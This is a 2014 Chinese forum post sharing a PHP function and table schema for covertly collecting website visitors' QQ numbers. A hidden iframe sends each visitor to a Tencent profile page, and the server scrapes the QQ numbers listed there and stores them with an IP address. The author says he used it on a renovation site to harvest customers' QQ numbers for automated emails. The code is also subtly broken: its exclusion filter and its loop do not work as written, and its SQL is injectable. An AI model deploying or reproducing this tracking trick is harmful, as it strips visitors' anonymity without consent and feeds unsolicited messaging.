大家很关注的QQ客户端获取函数公开
本帖最后由 天中人才市场 于 2014-2-24 17:20 编辑function qqcode()
{
global $cfg, $db;
echo "<iframe style=\"display:none;\" src=\"http://meishi.qq.com/profiles/2728182574\"></iframe>";
$url = "http://meishi.qq.com/profiles/2728182574";
if (!($contents = file_get_contents($url))) {
exit;
}
$ip = getip();
$pattern_qq = '/<img.*qzone\/(|\')(.+)\/\1.*>/U';
//<li><a href="/profiles/1532677"><img src="http://qlogo2.store.qq.com/qzone/1532677/1532677/50" alt="飞鱼">飞鱼</a></li>
if (preg_match_all($pattern_qq, $contents, $quote)) {
foreach ($quote as $qq)
if ($qq !== '2728182574' && '1532677' && '2147483647') {
$qqhao = $db->get_one("select qq_hao from {$cfg['tb_pre']}qq where qq_hao=$qq LIMIT 0 , 1");
if (!$qqhao) {
$db->query("INSERT INTO {$cfg['tb_pre']}qq (`qq_id`,`qq_hao`, `qq_adddate`,`qq_ip`) VALUES (NULL,'{$qq}',NOW(),'$ip')");
}
}
}
}
实际很简单的原理。http://meishi.qq.com/profiles/2728182574 是美食QQ列表。实际QQ空间也可以。大家可以常识一下。
只供学习。后果自负哈哈。实际没什么后果。后来我研究出来以后。腾讯貌似注意了。加了防刷新。如果IP大的情况会 提示不纯在返回首页状态。后来除了新版的也就是Q空间获取。
这个其实后来发现觉得用处不大。用在了装修网的上面。获取了客户的QQ。自动发送邮件之类的。
下面是数据库表结构
CREATE TABLE `job_qq` (
`qq_id` int(10) unsigned NOT NULL auto_increment,
`qq_hao` int(12) NOT NULL default '11',
`qq_adddate` datetime NOT NULL default '0000-00-00 00:00:00',
`qq_ip` varchar(120) NOT NULL,
PRIMARY KEY(`qq_id`)
) ENGINE=MyISAM AUTO_INCREMENT=15116 DEFAULT CHARSET=gb2312
学习了! 非常不错:lol
页:
[1]